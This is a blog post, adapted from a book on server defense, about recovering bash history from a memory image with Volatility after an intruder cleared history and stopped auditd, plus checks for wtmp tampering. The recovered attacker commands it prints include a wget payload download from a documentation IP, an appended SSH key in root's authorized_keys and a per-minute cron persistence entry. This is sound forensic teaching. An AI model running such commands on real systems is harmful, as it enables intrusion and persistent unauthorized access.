DEV Community

tktkkame
tktkkame

Posted on Originally published at zenn.dev

history -c didn't erase it: recovering bash history from memory

The scenario is fictional (RFC 5737 IPs). Volatility and auditd output come from the book and weren't run here. Follow evidence-handling procedures when acquiring memory.

Part 1 said the attacker emptied .bash_history; part 6 said history -c itself is recorded by auditd. There is one more place attackers forget.

What you'll learn

  • Why shell history survives in RAM
  • Reconstructing commands with linux.bash
  • A trust ranking of records
  • Detecting wtmp tampering

The story at a glance

02:20-02:40 root session; 02:40 history -c plus systemctl stop auditd; afterwards .bash_history is empty and auditd is blind, but a live bash process (PID 2411) is still in memory.

Why it survives

bash keeps history in process memory and writes the file on exit. Deleting the file or running history -c doesn't wipe the live process's memory.

vol -f web03_mem.lime linux.bash
Enter fullscreen mode Exit fullscreen mode
PID 2411 bash  wget http://198.51.100.5/x -O /dev/shm/.update
PID 2411 bash  echo "ssh-ed25519 AAAA... attacker" >> /root/.ssh/authorized_keys
PID 2411 bash  (echo '* * * * * /dev/shm/.update') | crontab -
Enter fullscreen mode Exit fullscreen mode

The payload drop, the key and the cron entry we reconstructed from other traces, in the attacker's own words.

Trust ranking

Record Trust Why
.bash_history low self-reported, easy to erase
auditd EXECVE high kernel-level, unless auditd is stopped
in-memory bash history high only while the process lives
off-host logs highest out of reach

Memory is the most volatile evidence: acquire it before any reboot or kill.

Telling legitimate scripts apart

Legit: auid set, operations user, managed repository. Attack: auid unset, www-data, external C2, drop into /dev/shm.

Bonus: wtmp tampering

last -f /var/log/wtmp
lastb -f /var/log/btmp
utmpdump /var/log/wtmp | head   # time going backwards, gaps, corrupt records = tampering
Enter fullscreen mode Exit fullscreen mode

Cross-check with auth.log, journald and authorized_keys.

Next: detection rules should target what attackers can't change.


Adapted from chapter 30 of my Japanese book on server defense.

Top comments (0)